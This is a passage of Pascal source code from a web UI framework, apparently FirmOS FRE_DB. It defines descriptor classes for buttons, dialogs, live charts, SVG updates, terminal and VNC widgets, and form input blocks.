transformed_object.Field('displayname').AsString := dname;
end;
function String2DBChooserDH(const fts: string): TFRE_DB_CHOOSER_DH;
begin
for result in TFRE_DB_CHOOSER_DH do begin
if CFRE_DB_CHOOSER_DH[result]=fts then exit;
end;
raise Exception.Create('invalid short DBChooserDH specifier : ['+fts+']');
end;
function String2DBLayoutPos(const fts: string): TFRE_DB_LAYOUT_POS;
begin
for result in TFRE_DB_LAYOUT_POS do begin
if CFRE_DB_LAYOUT_POS[result]=fts then exit;
end;
raise Exception.Create('invalid short DBLayoutPos specifier : ['+fts+']');
end;
function String2DBSubSecDisplayType(const fts: string): TFRE_DB_SUBSEC_DISPLAY_TYPE;
begin
for result in TFRE_DB_SUBSEC_DISPLAY_TYPE do begin
if CFRE_DB_SUBSEC_DISPLAY_TYPE[result]=fts then exit;
end;
raise Exception.Create('invalid short SubsecDisplayType specifier : ['+fts+']');
end;
function String2DBMessageType(const fts: string): TFRE_DB_MESSAGE_TYPE;
begin
for result in TFRE_DB_MESSAGE_TYPE do begin
if CFRE_DB_MESSAGE_TYPE[result]=fts then exit;
end;
raise Exception.Create('invalid short DBMessageType specifier : ['+fts+']');
end;
function String2DBButtonType(const fts: string): TFRE_DB_BUTTON_TYPE;
begin
for result in TFRE_DB_BUTTON_TYPE do begin
if CFRE_DB_BUTTON_TYPE[result]=fts then exit;
end;
raise Exception.Create('invalid short DBButtonType specifier : ['+fts+']');
end;
function String2DBGridButtonDep(const fts: string): TFRE_DB_GRID_BUTTON_DEP;
begin
for result in TFRE_DB_GRID_BUTTON_DEP do begin
if CFRE_DB_GRID_BUTTON_DEP[result]=fts then exit;
end;
raise Exception.Create('invalid short DBGridButtonDep specifier : ['+fts+']');
end;
function String2DBContent(const fts: string): TFRE_DB_CONTENT_TYPE;
begin
for result in TFRE_DB_CONTENT_TYPE do begin
if CFRE_DB_CONTENT_TYPE[result]=fts then exit;
end;
raise Exception.Create('invalid short DBContentType specifier : ['+fts+']');
end;
{ TFRE_DB_EMBEDDING_GROUP }
class procedure TFRE_DB_EMBEDDING_GROUP.RegisterSystemScheme(const scheme: IFRE_DB_SCHEMEOBJECT);
begin
inherited RegisterSystemScheme(scheme);
scheme.SetParentSchemeByName (TFRE_DB_ObjectEx.ClassName);
end;
class procedure TFRE_DB_EMBEDDING_GROUP.InstallDBObjects(const conn: IFRE_DB_SYS_CONNECTION; var currentVersionId: TFRE_DB_NameType; var newVersionId: TFRE_DB_NameType);
begin
newVersionId:='1.0';
if currentVersionId='' then begin
currentVersionId := '1.0';
end;
end;
{ TFRE_DB_INPUT_BUTTON_DESC }
function TFRE_DB_INPUT_BUTTON_DESC.Describe(const caption, buttonCaption: String; const serverFunc: TFRE_DB_SERVER_FUNC_DESC; const sendInputData: Boolean; const cleanupFunc: TFRE_DB_SERVER_FUNC_DESC): TFRE_DB_INPUT_BUTTON_DESC;
begin
inherited Describe(caption, '');
Field('buttonCaption').AsString:=buttonCaption;
Field('serverFunc').AsObject:=serverFunc;
if Assigned(cleanupFunc) then begin
Field('cleanupFunc').AsObject:=cleanupFunc;
end;
Field('buttonType').AsString:='bt_form';
Field('sendInputData').AsBoolean:=sendInputData;
Result:=Self;
end;
function TFRE_DB_INPUT_BUTTON_DESC.DescribeDownload(const caption,buttonCaption: String; const downloadId: String; const closeDialog: Boolean): TFRE_DB_INPUT_BUTTON_DESC;
begin
inherited Describe(caption, '');
Field('buttonCaption').AsString:=buttonCaption;
Field('downloadId').AsString:=downloadId;
Field('closeDialog').AsBoolean:=closeDialog;
Field('buttonType').AsString:='bt_download';
Result:=Self;
end;
{ TFRE_DB_HORDE_DESC }
function TFRE_DB_HORDE_DESC.Describe(const host: String; const port: Integer; const protocol: String): TFRE_DB_HORDE_DESC;
begin
if not FieldExists('id') then begin
Field('id').AsString:='id'+UID_String;
end;
Field('host').AsString:=host;
Field('port').AsInt32:=port;
Field('protocol').AsString:=protocol;
Result:=Self;
end;
{ TFRE_DB_DIALOG_DESC }
function TFRE_DB_DIALOG_DESC.Describe(const caption: String; const content: TFRE_DB_CONTENT_DESC; const percWidth: Integer; const percHeight: Integer; const maxWidth: Integer; const maxHeight: Integer; const isDraggable: Boolean; const styleClass: String): TFRE_DB_DIALOG_DESC;
begin
Field('dialogCaption').AsString:=caption;
Field('content').AsObject:=content;
Field('percWidth').AsInt16:=percWidth;
Field('percHeight').AsInt16:=percHeight;
Field('maxWidth').AsInt16:=maxWidth;
Field('maxHeight').AsInt16:=maxHeight;
Field('draggable').AsBoolean:=isDraggable;
Field('styleClass').AsString:=styleClass;
Result:=Self;
end;
function TFRE_DB_DIALOG_DESC.AddButton: TFRE_DB_BUTTON_DESC;
begin
Result := TFRE_DB_BUTTON_DESC.create;
Field('buttons').AddObject(Result);
end;
{ TFRE_DB_UPDATE_SVG_DESC }
function TFRE_DB_UPDATE_SVG_DESC.Describe(const svgId, elementId, attrName, attrValue: String): TFRE_DB_UPDATE_SVG_DESC;
begin
Field('svgId').AsString:=svgId;
Field('elementId').AsString:=elementId;
Field('attrName').AsString:=attrName;
Field('attrValue').AsString:=attrValue;
Result:=Self;
end;
{ TFRE_DB_SVG_DESC }
function TFRE_DB_SVG_DESC.Describe(const svg: String; const id: String): TFRE_DB_SVG_DESC;
begin
if id='' then begin
if not FieldExists('id') then begin
Field('id').AsString:='id'+UID_String;
end;
end else begin
Field('id').AsString:=id;
end;
Field('svg').AsString:=svg;
Result:=Self;
end;
{ TFRE_DB_REDEFINE_LIVE_CHART_DESC }
function TFRE_DB_REDEFINE_LIVE_CHART_DESC._Describe(const id: String; const seriesCount: Integer; const dataCount: Integer; const dataMinMax: TFRE_DB_Real32Array; const dataLabels: TFRE_DB_StringArray; const seriesColor: TFRE_DB_StringArray; const legendLabels: TFRE_DB_StringArray; const caption: String): TFRE_DB_REDEFINE_LIVE_CHART_DESC;
begin
Field('id').AsString:=id;
Field('dataCount').AsInt64:=dataCount;
if Assigned(dataLabels) then begin
Field('dataLabels').AsStringArr:=dataLabels;
end;
Field('caption').AsString:=caption;
if Assigned(dataMinMax) then begin
Field('dataMin').AsReal32:=dataMinMax[0];
if Length(dataMinMax)=2 then begin
Field('dataMax').AsReal32:=dataMinMax[1];
end;
end;
Field('seriesCount').AsInt16:=seriesCount;
if Assigned(legendLabels) then begin
Field('legendLabels').AsStringArr:=legendLabels;
end;
if Assigned(seriesColor) then begin
Field('seriesColor').AsStringArr:=seriesColor;
end;
Result:=Self;
end;
function TFRE_DB_REDEFINE_LIVE_CHART_DESC.DescribeLine(const id: String; const seriesCount: Integer; const dataCount: Integer; const dataMinMax: TFRE_DB_Real32Array; const seriesColor: TFRE_DB_StringArray; const legendLabels: TFRE_DB_StringArray; const caption: String): TFRE_DB_REDEFINE_LIVE_CHART_DESC;
begin
Result:=_Describe(id,seriesCount,dataCount,dataMinMax,nil,seriesColor,legendLabels,caption);
end;
function TFRE_DB_REDEFINE_LIVE_CHART_DESC.DescribeSampledLine(const id: String; const seriesCount: Integer; const dataCount: Integer; const dataMinMax: TFRE_DB_Real32Array; const seriesColor: TFRE_DB_StringArray; const legendLabels: TFRE_DB_StringArray; const caption: String): TFRE_DB_REDEFINE_LIVE_CHART_DESC;
begin
Result:=_Describe(id,seriesCount,dataCount,dataMinMax,nil,seriesColor,legendLabels,caption);
end;
function TFRE_DB_REDEFINE_LIVE_CHART_DESC.DescribeColumn(const id: String; const dataCount: Integer; const dataLabels: TFRE_DB_StringArray; const dataMinMax: TFRE_DB_Real32Array; const seriesCount: Integer; const legendLabels: TFRE_DB_StringArray; const seriesColor: TFRE_DB_StringArray; const caption: String): TFRE_DB_REDEFINE_LIVE_CHART_DESC;
begin
Result:=_Describe(id,seriesCount,dataCount,dataMinMax,dataLabels,seriesColor,legendLabels,caption);
end;
{ TFRE_DB_INPUT_RECURRENCE_DESC }
function TFRE_DB_INPUT_RECURRENCE_DESC.Describe(const caption, field_reference: String; const intervals: TFRE_DB_REC_INTERVAL_TYPES; const required: Boolean; const groupRequired: Boolean; const disabled: boolean; const hidden: Boolean; const defaultValue: String; const displayOnly: Boolean): TFRE_DB_INPUT_RECURRENCE_DESC;
begin
inherited Describe(caption, field_reference, required, groupRequired, disabled, hidden, defaultValue);
Field('rIOnce').AsBoolean:=rit_once in intervals;
Field('rIMinute').AsBoolean:=rit_minute in intervals;
Field('rIHour').AsBoolean:=rit_hour in intervals;
Field('rIDay').AsBoolean:=rit_day in intervals;
Field('rIWeek').AsBoolean:=rit_week in intervals;
Field('rIMonth').AsBoolean:=rit_month in intervals;
Field('rIQuarter').AsBoolean:=rit_quarter in intervals;
Field('rIYear').AsBoolean:=rit_year in intervals;
Field('displayOnly').AsBoolean:=displayOnly;
Result:=Self;
end;
{ TFRE_DB_LIVE_CHART_COMPLETE_DATA_DESC }
function TFRE_DB_LIVE_CHART_COMPLETE_DATA_DESC.Describe(const id: String; const data: TFRE_DB_LIVE_CHART_DATA_ARRAY): TFRE_DB_LIVE_CHART_COMPLETE_DATA_DESC;
var
i: Integer;
begin
Field('id').AsString:=id;
Field('dataCount').AsInt16:=Length(data);
for i := 0 to Length(data) - 1 do begin
Field('data'+IntToStr(i)).AsReal32Arr:=data[i];
end;
Result:=Self;
end;
{ TFRE_DB_SHELL_DESC }
function TFRE_DB_SHELL_DESC._Describe(const token: String; const count: Integer; const titles: TFRE_DB_StringArray; const lines: Integer): TFRE_DB_SHELL_DESC;
begin
if not FieldExists('id') then begin
Field('id').AsString:='id'+UID_String;
end;
Field('token').AsString:=token;
Field('count').AsInt64:=count;
Field('lines').AsInt64:=lines;
Field('titles').AsStringArr:=titles;
Result:=Self;
end;
function TFRE_DB_SHELL_DESC.Describe(const token: String; const title: TFRE_DB_String; const lines: Integer): TFRE_DB_SHELL_DESC;
begin
Result:=_Describe(token,-1,TFRE_DB_StringArray.create(title),lines);
end;
function TFRE_DB_SHELL_DESC.DescribeFixed(const token: String; const count: Integer; const titles: TFRE_DB_StringArray; const lines: Integer): TFRE_DB_SHELL_DESC;
begin
if (count<1) then
raise EFRE_DB_Exception.Create(edb_ERROR,'count has be greater than 0');
if (lines<1) then
raise EFRE_DB_Exception.Create(edb_ERROR,'lines has be greater than 0');
if (Length(titles)<>count) and (Length(titles)<>1) then
raise EFRE_DB_Exception.Create(edb_ERROR,'Number of titles has to be same as count (' + IntToStr(count) + ') or 1');
Result:=_Describe(token,count,titles,lines);
end;
{ TFRE_DB_LIVE_CHART_DATA_AT_IDX_DESC }
function TFRE_DB_LIVE_CHART_DATA_AT_IDX_DESC.Describe(const id: String; const dataIndex: Integer; const data: TFRE_DB_Real32Array): TFRE_DB_LIVE_CHART_DATA_AT_IDX_DESC;
begin
Field('id').AsString:=id;
Field('dataIndex').AsInt64:=dataIndex;
Field('data').AsReal32Arr:=data;
Result:=Self;
end;
{ TFRE_DB_LIVE_CHART_INIT_DATA_DESC }
function TFRE_DB_LIVE_CHART_INIT_DATA_DESC.Describe(const data: TFRE_DB_LIVE_CHART_DATA_ARRAY): TFRE_DB_LIVE_CHART_INIT_DATA_DESC;
var
i: Integer;
begin
Field('dataCount').AsInt16:=Length(data);
for i := 0 to Length(data) - 1 do begin
Field('data'+IntToStr(i)).AsReal32Arr:=data[i];
end;
Result:=Self;
end;
{ TFRE_DB_UPDATE_UI_ELEMENT_DESC }
function TFRE_DB_UPDATE_UI_ELEMENT_DESC.DescribeStatus(const elementId: String; const disabled: Boolean; const newCaption: String; const newHint: String; const newFunc: TFRE_DB_SERVER_FUNC_DESC): TFRE_DB_UPDATE_UI_ELEMENT_DESC;
begin
Field('type').AsString:='S';
Field('id').AsString:=elementId;
Field('disabled').AsBoolean:=disabled;
Field('newCaption').AsString:=newCaption;
Field('newHint').AsString:=newHint;
if Assigned(newFunc) then begin
Field('newFunc').AsObject:=newFunc;
end;
Result:=Self;
end;
function TFRE_DB_UPDATE_UI_ELEMENT_DESC.DescribeSubmenu(const elementId: String; const menu: TFRE_DB_MENU_DESC): TFRE_DB_UPDATE_UI_ELEMENT_DESC;
begin
Field('type').AsString:='SM';
Field('id').AsString:=elementId;
Field('menu').AsObject:=menu;
Result:=Self;
end;
function TFRE_DB_UPDATE_UI_ELEMENT_DESC.DescribeDrag(const elementId: String; const disabled: Boolean): TFRE_DB_UPDATE_UI_ELEMENT_DESC;
begin
Field('type').AsString:='D';
Field('id').AsString:=elementId;
Field('disableDrag').AsBoolean:=disabled;
Result:=Self;
end;
{ TFRE_DB_INPUT_FILE_DESC }
function TFRE_DB_INPUT_FILE_DESC.Describe(const caption, field_reference: String; const required: Boolean; const groupRequired: Boolean; const disabled: boolean; const hidden: Boolean; const defaultValue: String; const validator: IFRE_DB_ClientFieldValidator; const validatorConfigParams: IFRE_DB_Object; const multiValues: Boolean): TFRE_DB_INPUT_FILE_DESC;
begin
if Assigned(validator) and multiValues and (validator.ObjectName='image') then begin
raise EFRE_DB_Exception.Create(edb_ERROR,'Image input is not allowed to have multiple values');
end;
inherited Describe(caption, field_reference, required, groupRequired, disabled, hidden, defaultValue, validator, validatorConfigParams);
Field('multiValues').AsBoolean := multiValues;
Result:=Self;
end;
{ TFRE_DB_UPDATE_SITEMAP_ENTRY_INFO_DESC }
function TFRE_DB_UPDATE_SITEMAP_ENTRY_INFO_DESC.Describe(const entryPath: TFRE_DB_StringArray; const newsCount: Integer): TFRE_DB_UPDATE_SITEMAP_ENTRY_INFO_DESC;
begin
Field('entryPath').AsStringArr:=entryPath;
Field('newsCount').AsInt16:=newsCount;
Result:=Self;
end;
{ TFRE_DB_VNC_DESC }
function TFRE_DB_VNC_DESC.Describe(const host: String; const port: Integer): TFRE_DB_VNC_DESC;
begin
if not FieldExists('id') then begin
Field('id').AsString:='id'+UID_String;
end;
Field('host').AsString:=host;
Field('port').AsInt32:=port;
Result:=Self;
end;
{ TFRE_DB_TOPMENU_DESC }
function TFRE_DB_TOPMENU_DESC.Describe(const homeCaption, homeIcon: String; const homeIconSize: Integer; const serverFuncs: array of TFRE_DB_SERVER_FUNC_DESC; const mainSectionId: TFRE_DB_String; const sectionsIds: array of TFRE_DB_String; const uname: String; const uServerFunction: TFRE_DB_SERVER_FUNC_DESC; const svgDefs: TFRE_DB_SVG_DEF_ELEM_DESC_ARRAY; const notificationPanel: TFRE_DB_CONTENT_DESC; const notificationInitialClosed: Boolean; const JIRAenabled: Boolean): TFRE_DB_TOPMENU_DESC;
var
i: Integer;
begin
if not FieldExists('id') then begin
Field('id').AsString:='id'+UID_String;
end;
Field('homeCaption').AsString:=homeCaption;
Field('homeIcon').AsString:=FREDB_getThemedResource(homeIcon);
Field('homeIconSize').AsInt16:=homeIconSize;
Field('mainSectionId').AsString:=mainSectionId;
if Length(sectionsIds)<>Length(serverFuncs) then
raise EFRE_DB_Exception.Create(edb_ERROR,'serverFuncs array and sectionIds array not the same length');
for i := 0 to High(serverFuncs) do begin
Field('serverFuncs').AddObject(serverFuncs[i]);
Field('sectionsIds').AddString(sectionsIds[i]);
end;
Field('uname').AsString:=uname;
if Assigned(uServerFunction) then begin
Field('uServerFunc').AsObject:=uServerFunction;
end;
if Assigned(notificationPanel) then begin
Field('notificationPanel').AsObject:=notificationPanel;
Field('notificationInitialClosed').AsBoolean:=notificationInitialClosed;
end;
if Assigned(svgDefs) then begin
for i := 0 to Length(svgDefs) - 1 do begin
Field('svgDefs').AddObject(svgDefs[i]);
end;
end;
Field('JIRAenabled').AsBoolean:=JIRAenabled;
Result:=Self;
end;
procedure TFRE_DB_TOPMENU_DESC.AddFormDialog(const dialog: TFRE_DB_FORM_DIALOG_DESC);
begin
Field('formdialog').AsObject:=dialog;
end;
{ TFRE_DB_LIVE_CHART_DESC }
function TFRE_DB_LIVE_CHART_DESC._Describe(const id: String; const seriesCount: Integer; const stopStartCB: TFRE_DB_SERVER_FUNC_DESC; const dataMin, dataMax: Real; const caption: String; const seriesColor: TFRE_DB_StringArray; const dataLabels: TFRE_DB_StringArray; const legendLabels: TFRE_DB_StringArray; const dataTickHint: Integer; const initData: TFRE_DB_SERVER_FUNC_DESC; const dataCount: Integer; const updateInterval: Integer; const buffer: Integer; const seriesType: TFRE_DB_LIVE_CHART_TYPE): TFRE_DB_LIVE_CHART_DESC;
begin
Field('id').AsString:=id;
Field('seriesCount').AsInt16:=seriesCount;
Field('serverFunc').AsObject:=stopStartCB;
Field('type').AsString:=CFRE_DB_LIVE_CHART_TYPE[seriesType];
Field('dataMin').AsReal32:=dataMin;
Field('dataMax').AsReal32:=dataMax;
Field('caption').AsString:=caption;
Field('dataTickHint').AsInt16:=dataTickHint;
Field('dataCount').AsInt64:=dataCount;
Field('updateInterval').AsInt16:=updateInterval;
Field('buffer').AsInt16:=buffer;
if Assigned(seriesColor) then begin
Field('seriesColor').AsStringArr:=seriesColor;
end;
if Assigned(dataLabels) then begin
Field('dataLabels').AsStringArr:=dataLabels;
end;
if Assigned(legendLabels) then begin
Field('legendLabels').AsStringArr:=legendLabels;
end;
if Assigned(initData) then begin
Field('initDataFunc').AsObject:=initData;
end;
Result:=Self;
end;
function TFRE_DB_LIVE_CHART_DESC.DescribeLine(const id: String; const seriesCount: Integer; const dataCount: Integer; const stopStartCB: TFRE_DB_SERVER_FUNC_DESC; const dataMin, dataMax: Real; const caption: String; const seriesColor: TFRE_DB_StringArray; const legendLabels: TFRE_DB_StringArray; const dataTickHint: Integer; const initData: TFRE_DB_SERVER_FUNC_DESC; const updateInterval: Integer; const buffer: Integer): TFRE_DB_LIVE_CHART_DESC; begin
Result:=_Describe(id,seriesCount,stopStartCB,dataMin,dataMax,caption,seriesColor,nil,legendLabels,dataTickHint,initData,dataCount,updateInterval,buffer,fdblct_line);
end;
function TFRE_DB_LIVE_CHART_DESC.DescribeSampledLine(const id: String; const seriesCount: Integer; const dataCount: Integer; const stopStartCB: TFRE_DB_SERVER_FUNC_DESC; const dataMin, dataMax: Real; const caption: String; const seriesColor: TFRE_DB_StringArray; const legendLabels: TFRE_DB_StringArray; const dataTickHint: Integer): TFRE_DB_LIVE_CHART_DESC;
begin
Result:=_Describe(id,seriesCount,stopStartCB,dataMin,dataMax,caption,seriesColor,nil,legendLabels,dataTickHint,nil,dataCount,0,0,fdblct_sampledline);
end;
function TFRE_DB_LIVE_CHART_DESC.DescribeColumn(const id: String; const dataCount: Integer; const stopStartCB: TFRE_DB_SERVER_FUNC_DESC; const caption: String; const dataMax: Real; const dataMin: Real; const seriesColor: TFRE_DB_StringArray; const dataLabels: TFRE_DB_StringArray; const legendLabels: TFRE_DB_StringArray; const seriesCount: Integer): TFRE_DB_LIVE_CHART_DESC;
begin
if Assigned(dataLabels) and (Length(dataLabels)<>dataCount) then raise EFRE_DB_Exception.Create(edb_ERROR,'dataLabels used but count is not the same as dataCount');
Result:=_Describe(id,seriesCount,stopStartCB,dataMin,dataMax,caption,seriesColor,dataLabels,legendLabels,dataCount,nil,dataCount,0,0,fdblct_column);
end;
{ TFRE_DB_INPUT_DATE_DESC }
function TFRE_DB_INPUT_DATE_DESC.Describe(const caption, field_reference: String; const required: Boolean; const groupRequired: Boolean; const disabled: boolean; const hidden: Boolean; const defaultValue: String; const validator: IFRE_DB_ClientFieldValidator ; const validatorConfigParams : IFRE_DB_Object): TFRE_DB_INPUT_DATE_DESC;
begin
inherited Describe(caption, field_reference, required, groupRequired, disabled, hidden, defaultValue, validator, validatorConfigParams);
Result:=Self;
end;
{ TFRE_DB_INPUT_NUMBER_DESC }
function TFRE_DB_INPUT_NUMBER_DESC.Describe(const caption, field_reference: String; const required: Boolean; const groupRequired: Boolean; const disabled: boolean; const hidden: Boolean; const defaultValue: String; const digits: Integer): TFRE_DB_INPUT_NUMBER_DESC;
begin
inherited Describe(caption,field_reference,required,groupRequired,disabled,hidden,defaultValue);
Field('digits').AsInt16:=digits;
Field('steps').AsInt16:=-1;
Result:=Self;
end;
function TFRE_DB_INPUT_NUMBER_DESC.DescribeSlider(const caption, field_reference: String; const min, max: Real; const showValueField: Boolean; const defaultValue: String; const digits: Integer; const steps: Integer): TFRE_DB_INPUT_NUMBER_DESC;
begin
inherited Describe(caption,field_reference,false,false,false,false,defaultValue);
Field('displaySlider').AsBoolean:=true;
Field('showValueField').AsBoolean:=showValueField;
Field('digits').AsInt16:=digits;
setMinMax(min,max);
Field('steps').AsInt16:=steps;
Result:=Self;
end;
procedure TFRE_DB_INPUT_NUMBER_DESC.setMinMax(const min, max: Real);
begin
setMin(min);
setMax(max);
end;
procedure TFRE_DB_INPUT_NUMBER_DESC.setMin(const min: Real);
begin
Field('min').AsReal64:=min;
end;
procedure TFRE_DB_INPUT_NUMBER_DESC.setMax(const max: Real);
begin
Field('max').AsReal64:=max;
end;
{ TFRE_DB_INPUT_DESCRIPTION_DESC }
function TFRE_DB_INPUT_DESCRIPTION_DESC.Describe(const caption, description_: String; const id: String): TFRE_DB_INPUT_DESCRIPTION_DESC;
begin
inherited Describe(caption, id, false, false, true, false, description_);
Result:=Self;
end;
{ TFRE_DB_MAIN_DESC }
function TFRE_DB_MAIN_DESC.Describe(const style: String; const jiraIntegrationJSURL: String): TFRE_DB_MAIN_DESC;
begin
Field('loadFunc').AsObject:=TFRE_DB_SERVER_FUNC_DESC.create.Describe('FIRMOS','init');
Field('style').AsString:=style;
Field('jira').AsString:=jiraIntegrationJSURL;
Result:=Self;
end;
{ TFRE_DB_VIEW_LIST_BUTTON_DESC }
function TFRE_DB_VIEW_LIST_BUTTON_DESC._Describe(const func: TFRE_DB_SERVER_FUNC_DESC; const icon: String; const caption: String; const tooltip: String; const buttonDep: TFRE_DB_GRID_BUTTON_DEP): TFRE_DB_VIEW_LIST_BUTTON_DESC;
begin
Field('serverFunc').AsObject := func;
if icon<>'' then begin
Field('icon').AsString:=FREDB_getThemedResource(icon);
end;
Field('caption').AsString:=caption;
Field('tooltip').AsString:=tooltip;
Field('dep').AsString:=CFRE_DB_GRID_BUTTON_DEP[buttonDep];
if not FieldExists('id') then begin
Field('id').AsString:='id'+UID_String;
end;
Result:=Self;
end;
function TFRE_DB_VIEW_LIST_BUTTON_DESC.Describe(const func: TFRE_DB_SERVER_FUNC_DESC; const icon: String; const caption: String; const tooltip: String; const buttonDep: TFRE_DB_GRID_BUTTON_DEP): TFRE_DB_VIEW_LIST_BUTTON_DESC;
begin
if buttonDep=fdgbd_manual then raise EFRE_DB_Exception.Create(edb_ERROR,'Use DescribeManualType to describe a button of type fdgbd_manual.');
Result:=_Describe(func,icon,caption,tooltip,buttonDep);
end;
function TFRE_DB_VIEW_LIST_BUTTON_DESC.DescribeManualType(const id: String; const func: TFRE_DB_SERVER_FUNC_DESC; const icon: String; const caption: String; const tooltip: String; const disabled: Boolean): TFRE_DB_VIEW_LIST_BUTTON_DESC;
begin
Field('id').AsString:=id;
Field('disabled').AsBoolean:=disabled;
Result:=_Describe(func,icon,caption,tooltip,fdgbd_manual);
end;
{ TFRE_DB_BUTTON_DESC }
function TFRE_DB_BUTTON_DESC.Describe(const caption: String; const serverFunc: TFRE_DB_SERVER_FUNC_DESC; const buttonType: TFRE_DB_BUTTON_TYPE; const id: String): TFRE_DB_BUTTON_DESC;
begin
Field('caption').AsString:=caption;
if Assigned(serverFunc) then begin
Field('serverFunc').AsObject:=serverFunc;
end;
Field('buttonType').AsString:=CFRE_DB_BUTTON_TYPE[buttonType];
Field('id').AsString:=id;
Result:=Self;
end;
function TFRE_DB_BUTTON_DESC.DescribeDownload(const caption: String; const downloadId: String; const closeDialog: Boolean; const id: String): TFRE_DB_BUTTON_DESC;
begin
Field('caption').AsString:=caption;
Field('downloadId').AsString:=downloadId;
Field('closeDialog').AsBoolean:=closeDialog;
Field('buttonType').AsString:='bt_download';
Field('id').AsString:=id;
Result:=Self;
end;
{ TFRE_DB_VALIDATOR_DESC }
function TFRE_DB_VALIDATOR_DESC.Describe(const id,regExp, helpTextKey: String; const allowedChars: String; const replaceRegExp:String; const replaceValue:String; const configParams: IFRE_DB_Object): TFRE_DB_VALIDATOR_DESC;
begin
Field('id').AsString:=id;
Field('regExp').AsString:=regExp;
Field('helpTextKey').AsString:=helpTextKey;
Field('allowedChars').AsString:=allowedChars;
Field('replaceRegExp').AsString:=replaceRegExp;
Field('replaceValue').AsString:=replaceValue;
if Assigned(configParams) then begin
Field('configParams').AsObject:=configParams.CloneToNewObject();
end;
Result:=Self;
end;
{ TFRE_DB_INPUT_DESC }
function TFRE_DB_INPUT_DESC.Describe(const caption, field_reference: String; const required: Boolean; const groupRequired: Boolean; const disabled: boolean; const hidden: Boolean; const defaultValue: String; const validator: IFRE_DB_ClientFieldValidator; const validatorConfigParams : IFRE_DB_Object; const multiValues:Boolean; const isPass:Boolean; const confirms: String): TFRE_DB_INPUT_DESC;
begin
inherited Describe(caption, field_reference, required, groupRequired, disabled, hidden, defaultValue, validator, validatorConfigParams);
Field('multiValues').AsBoolean := multiValues;
Field('isPass').AsBoolean:=isPass;
Field('confirms').AsString:=LowerCase(confirms);
Result:=Self;
end;
{ TFRE_DB_HTML_DESC }
function TFRE_DB_HTML_DESC.Describe(const html: String; const height: Integer; const width: Integer; const border:Boolean=false): TFRE_DB_HTML_DESC;
begin
Field('html').AsString:=html;
Field('height').AsInt16:=height;
Field('width').AsInt16:=width;
Field('border').AsBoolean:=border;
if not FieldExists('id') then begin
Field('id').AsString:='id'+UID_String;
end;
Result:=Self;
end;
procedure TFRE_DB_HTML_DESC.AddFormDialog(const dialog: TFRE_DB_FORM_DIALOG_DESC);
begin
Field('formdialog').AsObject:=dialog;
end;
{ TFRE_DB_INPUT_BLOCK_DESC }
function TFRE_DB_INPUT_BLOCK_DESC.Describe(const caption: String; const id:String; const indentEmptyCaption: Boolean): TFRE_DB_INPUT_BLOCK_DESC;
begin
if id='' then begin
if not FieldExists('id') then begin
Field('id').AsString:='id'+UID_String;
end;
end else begin
Field('id').AsString:=id;
end;
Field('caption').AsString:=caption;
Field('sizeSum').AsInt16:=0;
Field('indentEmptyCaption').AsBoolean:=indentEmptyCaption;
Result:=Self;
end;
function TFRE_DB_INPUT_BLOCK_DESC.AddSchemeFormGroup(const schemeGroup: IFRE_DB_InputGroupSchemeDefinition; const session: IFRE_DB_UserSession; const collapsible: Boolean; const collapsed: Boolean; const relSize: Integer; const groupPreFix:String; const groupRequired:Boolean; const hideGroupHeader:Boolean): TFRE_DB_INPUT_GROUP_DESC;
begin
Result:=inherited AddSchemeFormGroup(schemeGroup,session,collapsible,collapsed,groupPreFix,groupRequired,hideGroupHeader);
Result.Field('relSize').AsInt16:=relSize;
Field('sizeSum').AsInt16:=Field('sizeSum').AsInt16+relSize;
end;
function TFRE_DB_INPUT_BLOCK_DESC.AddSchemeFormGroupInputs(const schemeGroup: IFRE_DB_InputGroupSchemeDefinition; const session: IFRE_DB_UserSession; const blockSizes: array of Integer; const groupPreFix: String; const groupRequired: Boolean; const withoutCaptions: Boolean): TFRE_DB_INPUT_BLOCK_DESC;
begin
Result:=self;
_addFields(schemeGroup,session,schemeGroup.GroupFields,'',groupPreFix,groupRequired,withoutCaptions,nil,Result,blockSizes);
end;
function TFRE_DB_INPUT_BLOCK_DESC.AddInput(const relSize: Integer): TFRE_DB_INPUT_DESC;
begin
Result:=inherited AddInput;
Result.Field('relSize').AsInt16:=relSize;
Field('sizeSum').AsInt16:=Field('sizeSum').AsInt16+relSize;
end;
function TFRE_DB_INPUT_BLOCK_DESC.AddDescription(const relSize: Integer): TFRE_DB_INPUT_DESCRIPTION_DESC;
begin
Result:=inherited AddDescription;
Result.Field('relSize').AsInt16:=relSize;
Field('sizeSum').AsInt16:=Field('sizeSum').AsInt16+relSize;
end;
function TFRE_DB_INPUT_BLOCK_DESC.AddInputButton(const relSize: Integer): TFRE_DB_INPUT_BUTTON_DESC;
begin
Result:=inherited AddInputButton;
Result.Field('relSize').AsInt16:=relSize;
Field('sizeSum').AsInt16:=Field('sizeSum').AsInt16+relSize;
end;
function TFRE_DB_INPUT_BLOCK_DESC.AddBool(const relSize: Integer): TFRE_DB_INPUT_BOOL_DESC;
begin
Result:=inherited AddBool;
Result.Field('relSize').AsInt16:=relSize;
Field('sizeSum').AsInt16:=Field('sizeSum').AsInt16+relSize;
end;
function TFRE_DB_INPUT_BLOCK_DESC.AddNumber(const relSize: Integer): TFRE_DB_INPUT_NUMBER_DESC;
begin
Result:=inherited AddNumber;
Result.Field('relSize').AsInt16:=relSize;
Field('sizeSum').AsInt16:=Field('sizeSum').AsInt16+relSize;
end;
function TFRE_DB_INPUT_BLOCK_DESC.AddChooser(const relSize: Integer): TFRE_DB_INPUT_CHOOSER_DESC;
begin
Result:=inherited AddChooser;
Result.Field('relSize').AsInt16:=relSize;
Field('sizeSum').AsInt16:=Field('sizeSum').AsInt16+relSize;
end;
function TFRE_DB_INPUT_BLOCK_DESC.AddDate(const relSize: Integer): TFRE_DB_INPUT_DATE_DESC;
begin
Result:=inherited AddDate;
Result.Field('relSize').AsInt16:=relSize;
Field('sizeSum').AsInt16:=Field('sizeSum').AsInt16+relSize;
end;
function TFRE_DB_INPUT_BLOCK_DESC.AddFile(const relSize: Integer): TFRE_DB_INPUT_FILE_DESC;
begin
Result:=inherited AddFile;
Result.Field('relSize').AsInt16:=relSize;
Field('sizeSum').AsInt16:=Field('sizeSum').AsInt16+relSize;
end;
function TFRE_DB_INPUT_BLOCK_DESC.AddGroup(const relSize: Integer): TFRE_DB_INPUT_GROUP_DESC;
begin
Result:=inherited AddGroup;
Result.Field('relSize').AsInt16:=relSize;
Field('sizeSum').AsInt16:=Field('sizeSum').AsInt16+relSize;
end;
function TFRE_DB_INPUT_BLOCK_DESC.AddGroupProxy(const relSize: Integer): TFRE_DB_INPUT_GROUP_PROXY_DESC;
begin
Result:=inherited AddGroupProxy;
